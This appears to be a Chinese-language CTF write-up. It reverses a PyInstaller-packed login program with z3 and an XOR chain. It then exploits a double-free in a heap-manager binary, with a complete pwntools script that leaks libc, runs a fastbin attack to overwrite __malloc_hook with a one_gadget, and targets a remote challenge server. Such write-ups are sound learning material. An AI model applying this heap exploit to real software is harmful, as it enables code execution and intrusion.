Re login 下载附件是一个 pyinstaller 打包的 exe 文件。
反编译 exe 使用 pyinstxtractor.py
反编译:
1 python pyinstxtractor.py login.exe
或者用 Pyinstaller
中的 \utils\cliutils\archive_viewer.py ,具体方法百度,略有不同
找到目录中同名无后缀文件,修改后缀为 .pyc
,接着再找到 struct
一并复制出来。用 winhex 将 login.pyc 文件还原回来,pyinstaller 会去除这部分信息(python 版本、时间戳)。将 struct 前 8 字节添加到 login.pyc 开头,struct 文件头信息与 login.pyc 编译前一致,直接复制懒得去找对应 python 版本的文件头。
在线网站反编译 pyc 文件得到源码。
逆加密算法 15 元 1 次方的方程,用 z3 库解决时,设置变量为 Int 型需要注释有 (a8 << 7)
这一条方程,否则因为变量类型问题无法运算。这时计算结果明显错误,需要添加约束,约束全部 a 都是 >= 0 的。这是能计算出正确结果,将得出值用被注释方程验证,方程成立,结果为真。
然后就是一个迭代的异或解密,前一轮解密结果参与下一轮解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 from z3 import *def step1 (): a1 = Int('a1' ) a2 = Int('a2' ) a3 = Int('a3' ) a4 = Int('a4' ) a5 = Int('a5' ) a6 = Int('a6' ) a7 = Int('a7' ) a8 = Int('a8' ) a9 = Int('a9' ) a10 = Int('a10' ) a11 = Int('a11' ) a12 = Int('a12' ) a13 = Int('a13' ) a14 = Int('a14' ) solver = Solver() solver.add((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 ) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 ) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 ) + a14 * 29 == 22748 ) solver.add((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 ) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 ) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 ) + a14 * 17 == 7258 ) solver.add((((a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 ) + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 ) + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 ) + a14 * 23 == 26190 ) solver.add(((a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 ) + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 ) + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915 ) solver.add((((a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 ) + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 ) + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 ) + a14 * 28 == 17298 ) solver.add((((a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 ) + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 ) + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 ) + a14 * 65 == 19875 ) solver.add(((a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 ) + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 ) + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784 ) solver.add((((a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 ) + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 ) + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 ) + a14 * 27 == 9710 ) solver.add(((((a1 * 67 - a2 * 68 ) + a3 * 68 - a4 * 51 - a5 * 43 ) + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 ) + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 ) + a14 * 31 == 13376 ) solver.add((((a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 ) + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 ) + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 ) + a14 * 78 == 24065 ) solver.add((((a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 ) + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 ) + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 ) + a14 * 20 == 27687 ) solver.add(((a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 ) + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 ) + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250 ) solver.add(((a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 ) + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 ) + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317 ) solver.add(a1 >= 0 ) solver.add(a2 >= 0 ) solver.add(a3 >= 0 ) solver.add(a4 >= 0 ) solver.add(a5 >= 0 ) solver.add(a6 >= 0 ) solver.add(a7 >= 0 ) solver.add(a8 >= 0 ) solver.add(a9 >= 0 ) solver.add(a10 >= 0 ) solver.add(a11 >= 0 ) solver.add(a12 >= 0 ) solver.add(a13 >= 0 ) solver.add(a14 >= 0 ) if solver.check() == sat: print("solver" ) ans = solver.model() print(ans) else : print("no" ) def step2 (): a1 = 119 a2 = 24 a3 = 10 a4 = 7 a5 = 104 a6 = 43 a7 = 28 a8 = 91 a9 = 52 a10 = 108 a11 = 88 a12 = 74 a13 = 88 a14 = 33 code = [0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 ] code[0 ] = a3 code[1 ] = a2 code[2 ] = a1 code[3 ] = a4 code[4 ] = a5 code[5 ] = a6 code[6 ] = a7 code[7 ] = a8 code[9 ] = a9 code[8 ] = a10 code[10 ] = a11 code[11 ] = a12 code[12 ] = a13 code[13 ] = a14 flag = [] flag.append(chr (code[13 ])) for i in list (range (13 ))[::-1 ]: code[i] = (code[i] ^ code[i + 1 ]) for i in code: print(chr (i),end='' ) if __name__ == '__main__' : step2()
flag 1 58964088b637e50d3a22b9510c1d1ef8
Pwn sign_in 基本情况 Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序是一个堆管理器,有增删查功能。
漏洞 释放堆时,没有将指针置零,也没有对堆管理结构体的 inuse 标志位进行检查再释放,造成了 double free 漏洞。
思路
double free 泄露 unsorted bin 中 chunk 的 指针。
fastbin attach 想 hook 函数写入 onegadget
一开始卡第一步泄露了,想着利用 double free 控制堆管理结构体的指针指向 unsorted bin 的 chunk ,指来指去搞不了。
最后泄露方法是申请一个比较大的 unsorted bin chunk ,释放后放入 bin 中。再申请一个大小合适的 chunk ,比如 unsorted bin 申请大小为 0x80 ,那么再申请一个大小为 0x50 chunk 加上结构体 0x20 ,申请的时候只写入最低一个字节,破坏一字节还是能算出 libc 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 0x80+0x10 = 0x50+0x10 + 0x20+0x10 pwndbg> x /20gx 0x555555757030 0x555555757030: 0x0000000000000000 0x0000000000000031 0x555555757040: 0x0000000000000001 0x0000555555757070 0x555555757050: 0x0000000000000062 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000061 0x555555757070: 0x00007ffff7dd1b61 0x00007ffff7dd1b78 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000060 0x0000000000000031
后面就是教科书的 fastbin attack 方式了,没有修改功能就在申请 chunk 的时候将 malloc - 0x23 写入,修改 fd 指针,并绕过 fastbin 检查。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = ELF("./sign_in" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p=remote('183.129.189.60' ,10029 ) def add (size,name,msg ): p.recvuntil('Your choice : ' ) p.sendline('1' ) p.recvuntil("game's name: \n" ) p.sendline(str (size)) p.recvuntil("game's name:\n" ) p.send(str (name)) p.recvuntil("game's message:\n" ) p.sendline(str (msg)) def show (): p.recvuntil('Your choice : ' ) p.sendline('2' ) def delete (id ): p.recvuntil('Your choice : ' ) p.sendline('3' ) p.recvuntil("game's index:\n" ) p.sendline(str (id )) add(0x80 ,'a' ,'b' ) add(0x68 ,'a' ,'b' ) delete(0 ) add(0x50 ,'a' ,'b' ) show() p.recvuntil("[2]'s name :" ) leak_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("leak_addr:" +hex (leak_addr)) libcbase=leak_addr-0x3c4b61 malloc=libcbase+libc.symbols['__malloc_hook' ] log.info("malloc:" +hex (malloc)) onegadget=libcbase+0xf1207 log.info("onegadget:" +hex (onegadget)) add(0x68 ,'a' ,'b' ) delete(3 ) delete(1 ) delete(3 ) add(0x68 ,p64(malloc-0x23 ),'b' ) add(0x68 ,'a' ,'b' ) add(0x68 ,'a' ,'b' ) add(0x68 ,'skye' .ljust(0x13 ,'a' )+p64(onegadget),'b' ) p.recvuntil('Your choice : ' ) p.sendline('1' ) p.interactive()
flag 1 a48bv8fad44bca4d76765e4590fb351e